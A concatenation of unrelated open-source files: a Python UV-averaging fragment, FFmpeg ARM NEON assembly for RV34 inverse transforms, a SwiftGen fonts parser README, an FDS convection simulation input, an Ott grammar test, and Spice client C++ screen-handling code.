base_line_mean = np.mean(uv, axis=0)
distance = np.linalg.norm(uv - base_line_mean, axis=(1, 2))
# Estimate the mean again using the 50% closest samples
cut_off = sorted(distance)[len(distance) // 2]
uv_subset = uv[distance <= cut_off]
final_mean = np.mean(uv_subset, axis=0)
self._verts_uv = final_mean
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2011 Janne Grunau <[email protected]>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "libavutil/arm/asm.S"
#include "neon.S"
.macro rv34_inv_transform r0
vld1.16 {q14-q15}, [\r0,:128]
vmov.s16 d0, #13
vshll.s16 q12, d29, #3
vshll.s16 q13, d29, #4
vshll.s16 q9, d31, #3
vshll.s16 q1, d31, #4
vmull.s16 q10, d28, d0
vmlal.s16 q10, d30, d0
vmull.s16 q11, d28, d0
vmlsl.s16 q11, d30, d0
vsubw.s16 q12, q12, d29 @ z2 = block[i+4*1]*7
vaddw.s16 q13, q13, d29 @ z3 = block[i+4*1]*17
vsubw.s16 q9, q9, d31
vaddw.s16 q1, q1, d31
vadd.s32 q13, q13, q9 @ z3 = 17*block[i+4*1] + 7*block[i+4*3]
vsub.s32 q12, q12, q1 @ z2 = 7*block[i+4*1] - 17*block[i+4*3]
vadd.s32 q1, q10, q13 @ z0 + z3
vadd.s32 q2, q11, q12 @ z1 + z2
vsub.s32 q8, q10, q13 @ z0 - z3
vsub.s32 q3, q11, q12 @ z1 - z2
vtrn.32 q1, q2
vtrn.32 q3, q8
vswp d3, d6
vswp d5, d16
vmov.s32 d0, #13
vadd.s32 q10, q1, q3
vsub.s32 q11, q1, q3
vshl.s32 q12, q2, #3
vshl.s32 q9, q2, #4
vmul.s32 q13, q11, d0[0]
vshl.s32 q11, q8, #4
vadd.s32 q9, q9, q2
vshl.s32 q15, q8, #3
vsub.s32 q12, q12, q2
vadd.s32 q11, q11, q8
vmul.s32 q14, q10, d0[0]
vsub.s32 q8, q15, q8
vsub.s32 q12, q12, q11
vadd.s32 q9, q9, q8
vadd.s32 q2, q13, q12 @ z1 + z2
vadd.s32 q1, q14, q9 @ z0 + z3
vsub.s32 q3, q13, q12 @ z1 - z2
vsub.s32 q15, q14, q9 @ z0 - z3
.endm
/* void rv34_idct_add_c(uint8_t *dst, int stride, int16_t *block) */
function ff_rv34_idct_add_neon, export=1
mov r3, r0
rv34_inv_transform r2
vmov.i16 q12, #0
vrshrn.s32 d16, q1, #10 @ (z0 + z3) >> 10
vrshrn.s32 d17, q2, #10 @ (z1 + z2) >> 10
vrshrn.s32 d18, q3, #10 @ (z1 - z2) >> 10
vrshrn.s32 d19, q15, #10 @ (z0 - z3) >> 10
vld1.32 {d28[]}, [r0,:32], r1
vld1.32 {d29[]}, [r0,:32], r1
vtrn.32 q8, q9
vld1.32 {d28[1]}, [r0,:32], r1
vld1.32 {d29[1]}, [r0,:32], r1
vst1.16 {q12}, [r2,:128]! @ memset(block, 0, 16)
vst1.16 {q12}, [r2,:128] @ memset(block+16, 0, 16)
vtrn.16 d16, d17
vtrn.32 d28, d29
vtrn.16 d18, d19
vaddw.u8 q0, q8, d28
vaddw.u8 q1, q9, d29
vqmovun.s16 d28, q0
vqmovun.s16 d29, q1
vst1.32 {d28[0]}, [r3,:32], r1
vst1.32 {d28[1]}, [r3,:32], r1
vst1.32 {d29[0]}, [r3,:32], r1
vst1.32 {d29[1]}, [r3,:32], r1
bx lr
endfunc
/* void rv34_inv_transform_noround_neon(int16_t *block); */
function ff_rv34_inv_transform_noround_neon, export=1
rv34_inv_transform r0
vshl.s32 q11, q2, #1
vshl.s32 q10, q1, #1
vshl.s32 q12, q3, #1
vshl.s32 q13, q15, #1
vadd.s32 q11, q11, q2
vadd.s32 q10, q10, q1
vadd.s32 q12, q12, q3
vadd.s32 q13, q13, q15
vshrn.s32 d0, q10, #11 @ (z0 + z3)*3 >> 11
vshrn.s32 d1, q11, #11 @ (z1 + z2)*3 >> 11
vshrn.s32 d2, q12, #11 @ (z1 - z2)*3 >> 11
vshrn.s32 d3, q13, #11 @ (z0 - z3)*3 >> 11
vst4.16 {d0[0], d1[0], d2[0], d3[0]}, [r0,:64]!
vst4.16 {d0[1], d1[1], d2[1], d3[1]}, [r0,:64]!
vst4.16 {d0[2], d1[2], d2[2], d3[2]}, [r0,:64]!
vst4.16 {d0[3], d1[3], d2[3], d3[3]}, [r0,:64]!
bx lr
endfunc
/* void ff_rv34_idct_dc_add_neon(uint8_t *dst, int stride, int dc) */
function ff_rv34_idct_dc_add_neon, export=1
mov r3, r0
vld1.32 {d28[]}, [r0,:32], r1
vld1.32 {d29[]}, [r0,:32], r1
vdup.16 d0, r2
vmov.s16 d1, #169
vld1.32 {d28[1]}, [r0,:32], r1
vmull.s16 q1, d0, d1 @ dc * 13 * 13
vld1.32 {d29[1]}, [r0,:32], r1
vrshrn.s32 d0, q1, #10 @ (dc * 13 * 13 + 0x200) >> 10
vmov d1, d0
vaddw.u8 q2, q0, d28
vaddw.u8 q3, q0, d29
vqmovun.s16 d28, q2
vqmovun.s16 d29, q3
vst1.32 {d28[0]}, [r3,:32], r1
vst1.32 {d29[0]}, [r3,:32], r1
vst1.32 {d28[1]}, [r3,:32], r1
vst1.32 {d29[1]}, [r3,:32], r1
bx lr
endfunc
/* void rv34_inv_transform_dc_noround_c(int16_t *block) */
function ff_rv34_inv_transform_noround_dc_neon, export=1
vld1.16 {d28[]}, [r0,:16] @ block[0]
vmov.i16 d4, #251
vorr.s16 d4, #256 @ 13^2 * 3
vmull.s16 q3, d28, d4
vshrn.s32 d0, q3, #11
vmov.i16 d1, d0
vst1.64 {q0}, [r0,:128]!
vst1.64 {q0}, [r0,:128]!
bx lr
endfunc
| {
"pile_set_name": "Github"
} |
# Fonts parser
## Input
The fonts parser accepts a directory, which it'll recursively search for font files. Supported file types depend on the target platform, for example iOS only supports TTF and OTF font files.
### Filter
The default filter for this command is: `[^/]\.(?i:otf|ttc|ttf)$`. That means it'll accept any file with the extensions `otf`, `ttc` or `ttf`.
You can provide a custom filter using the `filter` option, it accepts any valid regular expression. See the [Config file documentation](../ConfigFile.md) for more information.
## Customization
This parser currently doesn't accept any options.
## Templates
* [See here](../templates/fonts) for a list of templates bundled with SwiftGen and their documentation.
* If you want to write custom templates, make sure to check the [stencil context documentation](../SwiftGenKit%20Contexts/fonts.md) to see what data is available after parsing.
| {
"pile_set_name": "Github"
} |
&HEAD CHID='natconh_10_8_rot_18', TITLE='LES of free convection in enclosed space, Ra = 4.28e07' /
! 2 mesh
&MESH IJK=36,64,32, XB=-.9,0,-.8,.8,-.4,.4/ H/dz=8
&MESH IJK=36,64,32, XB= 0,.9,-.8,.8,-.4,.4/
&TIME T_END=238./
&DUMP DT_DEVC=1./
&MISC STRATIFICATION=F, SIMULATION_MODE='LES',
GVEC=-3.0283665448744808,0.,-9.32035385969251, IBM_PLANE_INTERPOLATION=F/
&RADI RADIATION=F/
&SPEC ID='AIR', SPECIFIC_HEAT=1., CONDUCTIVITY=0.018216, VISCOSITY=1.8216E-5, BACKGROUND=T/ ! Pr=1.00
&VENT PBY=-.8, SURF_ID='MIRROR' /
&VENT PBY= .8, SURF_ID='MIRROR' /
&SURF ID='insulated', COLOR='GRAY', HEAT_TRANSFER_COEFFICIENT=0./
&SURF ID='T1', COLOR='RED', TMP_FRONT=60, TAU_T=0, HEAT_TRANSFER_MODEL='RAYLEIGH' /
&SURF ID='T2', COLOR='BLUE', TMP_FRONT=20, TAU_T=0, HEAT_TRANSFER_MODEL='RAYLEIGH' /
&INIT XB=-.9,.9,-.8,.8,-.4,.4, TEMPERATURE=40/
&BNDF QUANTITY='WALL TEMPERATURE', CELL_CENTERED=T/
&BNDF QUANTITY='CONVECTIVE HEAT FLUX', CELL_CENTERED=T/
&BNDF QUANTITY='HEAT TRANSFER COEFFICIENT', CELL_CENTERED=T/
&BNDF QUANTITY='THERMAL WALL UNITS', CELL_CENTERED=T /
&BNDF QUANTITY='VISCOUS WALL UNITS', CELL_CENTERED=T /
&SLCF PBY=0, QUANTITY='VELOCITY', VECTOR=T /
&SLCF PBY=0, QUANTITY='TEMPERATURE', VECTOR=T /
&SLCF PBY=0, QUANTITY='TEMPERATURE', CELL_CENTERED=T /
&SLCF PBY=0, QUANTITY='TEMPERATURE', CELL_CENTERED=T, SLICETYPE='INCLUDE_GEOM' /
&DEVC XB=-.9,.9,-.8,.8,-.4,.4, QUANTITY='CONVECTIVE HEAT FLUX', SPATIAL_STATISTIC='SURFACE INTEGRAL', SURF_ID='T1', ID='Q1-0'/
&DEVC XB=-.9,.9,-.8,.8,-.4,.4, QUANTITY='CONVECTIVE HEAT FLUX', SPATIAL_STATISTIC='SURFACE INTEGRAL', SURF_ID='T2', ID='Q2-0'/
&DEVC XYZ=0,0,0, QUANTITY='BACKGROUND PRESSURE', ID='p0' /
&DEVC XYZ=0,0,0, QUANTITY='DENSITY', ID='rho' /
&MOVE ID='r1', ROTATION_ANGLE=-72., AXIS=0,1,0 /
&GEOM ID='CAVITY', SURF_ID='insulated','T1','T2',
MOVE_ID='r1'
VERTS =
0.7 0.8 -1.0
0.1 0.8 -1.0
-0.1 0.8 -1.0
-0.7 0.8 -1.0
0.7 0.8 -0.8
0.1 0.8 -0.8
-0.1 0.8 -0.8
-0.7 0.8 -0.8
0.7 0.8 0.8
0.1 0.8 0.8
-0.1 0.8 0.8
-0.7 0.8 0.8
0.7 0.8 1.0
0.1 0.8 1.0
-0.1 0.8 1.0
-0.7 0.8 1.0
0.7 -0.8 -1.0
0.1 -0.8 -1.0
-0.1 -0.8 -1.0
-0.7 -0.8 -1.0
0.7 -0.8 -0.8
0.1 -0.8 -0.8
-0.1 -0.8 -0.8
-0.7 -0.8 -0.8
0.7 -0.8 0.8
0.1 -0.8 0.8
-0.1 -0.8 0.8
-0.7 -0.8 0.8
0.7 -0.8 1.0
0.1 -0.8 1.0
-0.1 -0.8 1.0
-0.7 -0.8 1.0
FACES =
1 6 5 1
1 2 6 1
2 7 6 1
2 3 7 1
3 4 7 1
7 4 8 1
5 10 9 1
5 6 10 1
7 12 11 1
7 8 12 1
10 14 13 1
9 10 13 1
10 15 14 1
10 11 15 1
11 16 15 1
11 12 16 1
17 21 22 1
17 22 18 1
18 22 23 1
18 23 19 1
19 23 20 1
23 24 20 1
21 25 26 1
21 26 22 1
23 27 28 1
23 28 24 1
25 29 26 1
29 30 26 1
26 30 31 1
26 31 27 1
27 31 32 1
27 32 28 1
4 20 8 1
8 20 24 1
8 24 12 1
12 24 28 1
12 28 16 1
16 28 32 1
16 32 15 1
15 32 31 1
15 31 14 1
14 31 30 1
14 30 13 1
13 30 29 1
13 29 9 1
9 29 25 1
9 25 5 1
5 25 21 1
5 21 1 1
1 21 17 1
1 17 2 1
2 17 18 1
2 18 3 1
3 18 19 1
3 19 4 1
4 19 20 1
6 7 23 1
6 23 22 1
10 6 22 3
10 22 26 3
11 10 26 1
11 26 27 1
7 11 27 2
7 27 23 2
/
&TAIL /
| {
"pile_set_name": "Github"
} |
% test17.9.ott dot form test
metavar ident, x ::= {{ isa string }} {{ coq nat }} {{ coq-equality }} {{ hol string }} {{ ocaml int }}
indexvar index, n , i ::= {{ isa nat }} {{ coq nat }} {{ hol num }} {{ ocaml int }}
grammar
E :: 'E_' ::= {{ isa ( ident * t ) list }}
| < x1 : t1 , .. , xn : tn > :: :: 2 {{ isa List.rev [[x1 t1 .. xn tn]] }}
t :: 't_' ::=
| unit :: :: unit
K :: 'K_' ::=
| Type :: :: Type
formula :: formula_ ::=
| judgement :: :: judgement
| formula1 .. formulan :: :: dots
% | formula1 .. formulan :: :: realdots {{ isa (List.list_all (\<lambda> b . b) ( [[ formula1 .. formulan ]] ) ) }}
terminals :: terminals_ ::=
| |- :: :: turnstile {{ tex \vdash }}
| < :: :: langle {{ tex \langle }}
| > :: :: rangle {{ tex \rangle }}
defns
Jtype :: '' ::=
defn
|- E :: :: Eok :: Eok_ by
--------- :: 1
|- < >
---------------------------- :: 2
|- <x1:t1,..,xn:tn>
|- t1:K1 .. |- tn:Kn
---------------------------- :: 3
|- <x1:t1,..,xn:tn>
defn
|- t : K :: :: tK :: tK_ by
--------------- :: 1
|- unit : Type
| {
"pile_set_name": "Github"
} |
/*
Copyright (C) 2009 Red Hat, Inc.
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, see <http://www.gnu.org/licenses/>.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include "common.h"
#include "screen.h"
#include "application.h"
#include "screen_layer.h"
#include "utils.h"
#include "debug.h"
#include "monitor.h"
#include "red_pixmap_sw.h"
#include "resource.h"
#include "icon.h"
class UpdateEvent: public Event {
public:
UpdateEvent(int screen) : _screen (screen) {}
virtual void response(AbstractProcessLoop& events_loop)
{
Application* app = static_cast<Application*>(events_loop.get_owner());
RedScreen* screen = app->find_screen(_screen);
if (screen) {
screen->update();
}
}
private:
int _screen;
};
class LayerChangedEvent: public Event {
public:
LayerChangedEvent (int screen) : _screen (screen) {}
virtual void response(AbstractProcessLoop& events_loop)
{
Application* app = static_cast<Application*>(events_loop.get_owner());
RedScreen* screen = app->find_screen(_screen);
if (screen) {
Lock lock(screen->_layer_changed_lock);
screen->_active_layer_change_event = false;
lock.unlock();
if (screen->_pointer_on_screen) {
screen->update_pointer_layer();
}
}
}
private:
int _screen;
};
void UpdateTimer::response(AbstractProcessLoop& events_loop)
{
_screen->periodic_update();
}
RedScreen::RedScreen(Application& owner, int id, const std::string& name, int width, int height)
: _owner (owner)
, _id (id)
, _refs (1)
, _window (*this)
, _active (false)
, _full_screen (false)
, _out_of_sync (false)
, _frame_area (false)
, _periodic_update (false)
, _key_interception (false)
, _update_by_timer (true)
, _size_locked (false)
, _menu_needs_update (false)
, _force_update_timer (0)
, _update_timer (new UpdateTimer(this))
, _composit_area (NULL)
, _update_mark (1)
, _monitor (NULL)
, _default_cursor (NULL)
, _inactive_cursor (NULL)
, _pixel_format_index (0)
, _update_interrupt_trigger (NULL)
, _pointer_layer (NULL)
, _mouse_captured (false)
, _active_layer_change_event (false)
, _pointer_on_screen (false)
{
region_init(&_dirty_region);
set_name(name);
_size.x = width;
_size.y = height;
_origin.x = _origin.y = 0;
create_composit_area();
_window.resize(_size.x, _size.y);
save_position();
if ((_default_cursor = Platform::create_default_cursor()) == NULL) {
THROW("create default cursor failed");
}
if ((_inactive_cursor = Platform::create_inactive_cursor()) == NULL) {
THROW("create inactive cursor failed");
}
_window.set_cursor(_default_cursor);
update_menu();
AutoRef<Icon> icon(Platform::load_icon(RED_ICON_RES_ID));
_window.set_icon(*icon);
_window.start_key_interception();
}
RedScreen::~RedScreen()
{
bool captured = is_mouse_captured();
_window.stop_key_interception();
relase_mouse();
destroy_composit_area();
_owner.deactivate_interval_timer(*_update_timer);
_owner.on_screen_destroyed(_id, captured);
region_destroy(&_dirty_region);
if (_default_cursor) {
_default_cursor->unref();
}
if (_inactive_cursor) {
_inactive_cursor->unref();
}
}
void RedScreen::show(bool activate, RedScreen* pos)
{
_window.position_after((pos) ? &pos->_window : NULL);
show();
if (activate) {
_window.activate();
}
}
RedScreen* RedScreen::ref()
{
++_refs;
return this;
}
void RedScreen::unref()
{
if (!--_refs) {
delete this;
}
}
void RedScreen::destroy_composit_area()
{
if (_composit_area) {
delete _composit_area;
_composit_area = NULL;
}
}
void RedScreen::create_composit_area()
{
destroy_composit_area();
_composit_area = new RedPixmapSw(_size.x, _size.y, _window.get_format(),
false, &_window);
}
void RedScreen::adjust_window_rect(int x, int y)
{
_window.move_and_resize(x, y, _size.x, _size.y);
}
void RedScreen::resize(int width, int height)
{
RecurciveLock lock(_update_lock);
_size.x = width;
_size.y = height;
create_composit_area();
if (_full_screen) {
__show_full_screen();
} else {
bool cuptur = is_mouse_captured();
if (cuptur) {
relase_mouse();
}
_window.resize(_size.x, _size.y);
if (_active && cuptur) {
capture_mouse();
}
}
notify_new_size();
}
void RedScreen::lock_size()
{
ASSERT(!_size_locked);
_size_locked = true;
}
void RedScreen::unlock_size()
{
_size_locked = false;
_owner.on_screen_unlocked(*this);
}
void RedScreen::set_name(const std::string& name)
{
if (!name.empty()) {
string_printf(_name, name.c_str(), _id);
}
_window.set_title(_name);
}
void RedScreen::on_layer_changed(ScreenLayer& layer)
{
Lock lock(_layer_changed_lock);
if (_active_layer_change_event) {
return;
}
_active_layer_change_event = true;
AutoRef<LayerChangedEvent> change_event(new LayerChangedEvent(_id));
_owner.push_event(*change_event);
}
void RedScreen::attach_layer(ScreenLayer& layer)
{
RecurciveLock lock(_update_lock);
int order = layer.z_order();
if ((int)_layers.size() < order + 1) {
_layers.resize(order + 1);
}
if (_layers[order]) {
THROW("layer in use");
}
layer.set_screen(this);
_layers[order] = &layer;
ref();
lock.unlock();
layer.invalidate();
if (_pointer_on_screen) {
update_pointer_layer();
}
}
void RedScreen::detach_layer(ScreenLayer& layer)
{
bool need_pointer_layer_update = false;
if (_pointer_layer == &layer) {
_pointer_layer->on_pointer_leave();
_pointer_layer = NULL;
need_pointer_layer_update = true;
}
RecurciveLock lock(_update_lock);
int order = layer.z_order();
if ((int)_layers.size() < order + 1 || _layers[order] != &layer) {
THROW("not found");
}
QRegion layer_area;
region_clone(&layer_area, &layer.area());
_layers[order]->set_screen(NULL);
_layers[order] = NULL;
lock.unlock();
invalidate(layer_area);
region_destroy(&layer_area);
unref();
if (need_pointer_layer_update && !update_pointer_layer()) {
_window.set_cursor(_inactive_cursor);
}
}
void RedScreen::composit_to_screen(RedDrawable& win_dc, const QRegion& region)
{
pixman_box32_t *rects;
int num_rects;
rects = pixman_region32_rectangles((pixman_region32_t *)®ion, &num_rects);
for (int i = 0; i < num_rects; i++) {
SpiceRect r;
r.left = rects[i].x1;
r.top = rects[i].y1;
r.right = rects[i].x2;
r.bottom = rects[i].y2;
win_dc.copy_pixels(*_composit_area, r.left, r.top, r);
}
}
void RedScreen::notify_new_size()
{
for (int i = 0; i < (int)_layers.size(); i++) {
if (!_layers[i]) {
continue;
}
_layers[i]->on_size_changed();
}
}
inline void RedScreen::begin_update(QRegion& direct_rgn, QRegion& composit_rgn,
QRegion& frame_rgn)
{
region_init(&composit_rgn);
RecurciveLock lock(_update_lock);
region_clone(&direct_rgn, &_dirty_region);
region_clear(&_dirty_region);
_update_mark++;
lock.unlock();
QRegion rect_rgn;
SpiceRect r;
r.top = r.left = 0;
r.right = _size.x;
r.bottom = _size.y;
region_init(&rect_rgn);
region_add(&rect_rgn, &r);
if (_frame_area) {
region_clone(&frame_rgn, &direct_rgn);
region_exclude(&frame_rgn, &rect_rgn);
}
region_and(&direct_rgn, &rect_rgn);
region_destroy(&rect_rgn);
for (int i = _layers.size() - 1; i >= 0; i--) {
ScreenLayer* layer;
if (!(layer = _layers[i])) {
continue;
}
layer->begin_update(direct_rgn, composit_rgn);
}
}
inline void RedScreen::update_done()
{
for (unsigned int i = 0; i < _layers.size(); i++) {
ScreenLayer* layer;
if (!(layer = _layers[i])) {
continue;
}
layer->on_update_completion(_update_mark - 1);
}
}
inline void RedScreen::update_composit(QRegion& composit_rgn)
{
erase_background(*_composit_area, composit_rgn);
for (int i = 0; i < (int)_layers.size(); i++) {
ScreenLayer* layer;
if (!(layer = _layers[i])) {
continue;
}
QRegion& dest_region = layer->composit_area();
region_or(&composit_rgn, &dest_region);
layer->copy_pixels(dest_region, *_composit_area);
}
}
inline void RedScreen::draw_direct(RedDrawable& win_dc, QRegion& direct_rgn, QRegion& composit_rgn,
QRegion& frame_rgn)
{
erase_background(win_dc, direct_rgn);
if (_frame_area) {
erase_background(win_dc, frame_rgn);
region_destroy(&frame_rgn);
}
for (int i = 0; i < (int)_layers.size(); i++) {
ScreenLayer* layer;
if (!(layer = _layers[i])) {
continue;
}
QRegion& dest_region = layer->direct_area();
layer->copy_pixels(dest_region, win_dc);
}
}
void RedScreen::periodic_update()
{
bool need_update;
RecurciveLock lock(_update_lock);
if (is_dirty()) {
need_update = true;
} else {
if (!_force_update_timer) {
_owner.deactivate_interval_timer(*_update_timer);
_periodic_update = false;
}
need_update = false;
}
lock.unlock();
if (need_update) {
if (update_by_interrupt()) {
interrupt_update();
} else {
update();
}
}
}
void RedScreen::activate_timer()
{
RecurciveLock lock(_update_lock);
if (_periodic_update) {
return;
}
_periodic_update = true;
lock.unlock();
_owner.activate_interval_timer(*_update_timer, 1000 / 30);
}
void RedScreen::update()
{
if (is_out_of_sync()) {
return;
}
QRegion direct_rgn;
QRegion composit_rgn;
QRegion frame_rgn;
begin_update(direct_rgn, composit_rgn, frame_rgn);
update_composit(composit_rgn);
draw_direct(_window, direct_rgn, composit_rgn, frame_rgn);
composit_to_screen(_window, composit_rgn);
update_done();
region_destroy(&direct_rgn);
region_destroy(&composit_rgn);
if (_update_by_timer) {
activate_timer();
}
}
bool RedScreen::_invalidate(const SpiceRect& rect, bool urgent, uint64_t& update_mark)
{
RecurciveLock lock(_update_lock);
bool update_triger = !is_dirty() && (urgent || !_periodic_update);
region_add(&_dirty_region, &rect);
update_mark = _update_mark;
return update_triger;
}
uint64_t RedScreen::invalidate(const SpiceRect& rect, bool urgent)
{
uint64_t update_mark;
if (_invalidate(rect, urgent, update_mark)) {
if (!urgent && _update_by_timer) {
activate_timer();
} else {
if (update_by_interrupt()) {
interrupt_update();
} else {
AutoRef<UpdateEvent> update_event(new UpdateEvent(_id));
_owner.push_event(*update_event);
}
}
}
return update_mark;
}
void RedScreen::invalidate(const QRegion ®ion)
{
pixman_box32_t *rects, *end;
int num_rects;
rects = pixman_region32_rectangles((pixman_region32_t *)®ion, &num_rects);
end = rects + num_rects;
while (rects != end) {
SpiceRect r;
r.left = rects->x1;
r.top = rects->y1;
r.right = rects->x2;
r.bottom = rects->y2;
rects++;
invalidate(r, false);
}
}
inline void RedScreen::erase_background(RedDrawable& dc, const QRegion& composit_rgn)
{
pixman_box32_t *rects;
int num_rects;
rects = pixman_region32_rectangles((pixman_region32_t *)&composit_rgn, &num_rects);
for (int i = 0; i < num_rects; i++) {
SpiceRect r;
r.left = rects[i].x1;
r.top = rects[i].y1;
r.right = rects[i].x2;
r.bottom = rects[i].y2;
dc.fill_rect(r, 0);
}
}
void RedScreen::reset_mouse_pos()
{
_window.set_mouse_position(_mouse_anchor_point.x, _mouse_anchor_point.y);
}
void RedScreen::capture_mouse()
{
if (_mouse_captured || !_window.get_mouse_anchor_point(_mouse_anchor_point)) {
return;
}
if (_pointer_layer) {
_pointer_layer->on_pointer_leave();
_pointer_layer = NULL;
}
_pointer_on_screen = false;
_mouse_captured = true;
_window.hide_cursor();
reset_mouse_pos();
_window.capture_mouse();
}
void RedScreen::relase_mouse()
{
if (!_mouse_captured) {
return;
}
_mouse_captured = false;
_window.release_mouse();
update_pointer_layer();
}
void RedScreen::set_cursor(LocalCursor* cursor)
{
if (_mouse_captured) {
return;
}
_window.set_cursor(cursor);
}
void RedScreen::hide_cursor()
{
_window.hide_cursor();
}
ScreenLayer* RedScreen::find_pointer_layer()
{
for (int i = _layers.size() - 1; i >= 0; i--) {
ScreenLayer* layer;
if (!(layer = _layers[i])) {
continue;
}
if (layer->pointer_test(_pointer_pos.x, _pointer_pos.y)) {
return layer;
}
}
return NULL;
}
bool RedScreen::update_pointer_layer()
{
ASSERT(!_mouse_captured);
ScreenLayer* now = find_pointer_layer();
if (now == _pointer_layer) {
return false;
}
if (_pointer_layer) {
_pointer_layer->on_pointer_leave();
}
_pointer_layer = find_pointer_layer();
if (_pointer_layer) {
_pointer_layer->on_pointer_enter(_pointer_pos.x, _pointer_pos.y, _mouse_botton_state);
} else {
set_cursor(_inactive_cursor);
}
return true;
}
void RedScreen::on_pointer_enter(int x, int y, unsigned int buttons_state)
{
if (_mouse_captured) {
return;
}
_pointer_on_screen = true;
_pointer_pos.x = x;
_pointer_pos.y = y;
_mouse_botton_state = buttons_state;
ScreenLayer* layer = find_pointer_layer();
if (!layer) {
set_cursor(_inactive_cursor);
return;
}
_pointer_layer = layer;
_pointer_layer->on_pointer_enter(_pointer_pos.x, _pointer_pos.y, buttons_state);
if (_full_screen) {
/* allowing enterance to key interception mode without
requiring the user to press the window
*/
activate();
}
}
void RedScreen::on_mouse_motion(int x, int y, unsigned int buttons_state)
{
if (x != _mouse_anchor_point.x || y != _mouse_anchor_point.y) {
_owner.on_mouse_motion(x - _mouse_anchor_point.x,
y - _mouse_anchor_point.y,
buttons_state);
reset_mouse_pos();
}
}
void RedScreen::on_pointer_motion(int x, int y, unsigned int buttons_state)
{
if (_mouse_captured) {
on_mouse_motion(x, y, buttons_state);
return;
}
_pointer_pos.x = x;
_pointer_pos.y = y;
_mouse_botton_state = buttons_state;
if (update_pointer_layer() || !_pointer_layer) {
return;
}
_pointer_layer->on_pointer_motion(x, y, buttons_state);
}
void RedScreen::on_mouse_button_press(SpiceMouseButton button, unsigned int buttons_state)
{
if (_mouse_captured) {
_owner.on_mouse_down(button, buttons_state);
return;
}
if (!_pointer_layer) {
return;
}
_pointer_layer->on_mouse_button_press(button, buttons_state);
}
void RedScreen::on_mouse_button_release(SpiceMouseButton button, unsigned int buttons_state)
{
if (_mouse_captured) {
_owner.on_mouse_up(button, buttons_state);
return;
}
if (!_pointer_layer) {
return;
}
_pointer_layer->on_mouse_button_release(button, buttons_state);
}
void RedScreen::on_pointer_leave()
{
// ASSERT(!_mouse_captured);
if (_pointer_layer) {
_pointer_layer->on_pointer_leave();
_pointer_layer = NULL;
}
_pointer_on_screen = false;
}
void RedScreen::on_key_press(RedKey key)
{
_owner.on_key_down(key);
}
void RedScreen::on_key_release(RedKey key)
{
_owner.on_key_up(key);
}
void RedScreen::on_char(uint32_t ch)
{
_owner.on_char(ch);
}
void RedScreen::on_deactivate()
{
relase_mouse();
_active = false;
_owner.on_deactivate_screen(this);
}
void RedScreen::on_activate()
{
_active = true;
_owner.on_activate_screen(this);
}
void RedScreen::on_start_key_interception()
{
_key_interception = true;
_owner.on_start_screen_key_interception(this);
}
void RedScreen::on_stop_key_interception()
{
_key_interception = false;
_owner.on_stop_screen_key_interception(this);
}
void RedScreen::enter_modal_loop()
{
_force_update_timer++;
activate_timer();
}
void RedScreen::exit_modal_loop()
{
ASSERT(_force_update_timer > 0)
_force_update_timer--;
}
void RedScreen::pre_migrate()
{
for (int i = 0; i < (int)_layers.size(); i++) {
if (!_layers[i]) {
continue;
}
_layers[i]->pre_migrate();
}
}
void RedScreen::post_migrate()
{
for (int i = 0; i < (int)_layers.size(); i++) {
if (!_layers[i]) {
continue;
}
_layers[i]->post_migrate();
}
}
void RedScreen::exit_full_screen()
{
if (!_full_screen) {
return;
}
RecurciveLock lock(_update_lock);
_window.hide();
region_clear(&_dirty_region);
_window.set_type(RedWindow::TYPE_NORMAL);
adjust_window_rect(_save_pos.x, _save_pos.y);
_origin.x = _origin.y = 0;
_window.set_origin(0, 0);
show();
if (_menu_needs_update) {
update_menu();
}
_full_screen = false;
_out_of_sync = false;
_frame_area = false;
}
void RedScreen::save_position()
{
_save_pos = _window.get_position();
}
void RedScreen::__show_full_screen()
{
if (!_monitor) {
hide();
return;
}
SpicePoint position = _monitor->get_position();
SpicePoint monitor_size = _monitor->get_size();
_frame_area = false;
region_clear(&_dirty_region);
_window.set_type(RedWindow::TYPE_FULLSCREEN);
_window.move_and_resize(position.x, position.y, monitor_size.x, monitor_size.y);
if (!(_out_of_sync = _monitor->is_out_of_sync())) {
ASSERT(monitor_size.x >= _size.x);
ASSERT(monitor_size.y >= _size.y);
_origin.x = (monitor_size.x - _size.x) / 2;
_origin.y = (monitor_size.y - _size.y) / 2;
_frame_area = monitor_size.x != _size.x || monitor_size.y != _size.y;
} else {
_origin.x = _origin.y = 0;
}
_window.set_origin(_origin.x, _origin.y);
show();
}
void RedScreen::show_full_screen()
{
if (_full_screen) {
return;
}
RecurciveLock lock(_update_lock);
#ifndef WIN32
/* performing hide during resolution changes resulted in
missing WM_KEYUP events */
hide();
#endif
save_position();
_full_screen = true;
__show_full_screen();
}
void RedScreen::minimize()
{
_window.minimize();
}
void RedScreen::position_full_screen(const SpicePoint& position)
{
if (!_full_screen) {
return;
}
_window.move(position.x, position.y);
}
void RedScreen::hide()
{
_window.hide();
}
void RedScreen::show()
{
RecurciveLock lock(_update_lock);
_window.show(_monitor ? _monitor->get_screen_id() : 0);
}
void RedScreen::activate()
{
_window.activate();
}
void RedScreen::external_show()
{
DBG(0, "Entry");
_window.external_show();
}
void RedScreen::update_menu()
{
AutoRef<Menu> menu(_owner.get_app_menu());
int ret = _window.set_menu(*menu);
_menu_needs_update = (ret != 0); /* try again if menu update failed */
}
void RedScreen::on_exposed_rect(const SpiceRect& area)
{
if (is_out_of_sync()) {
_window.fill_rect(area, rgb32_make(0xff, 0xff, 0xff));
return;
}
invalidate(area, false);
}
int RedScreen::get_screen_id()
{
return _monitor ? _monitor->get_screen_id() : 0;
}
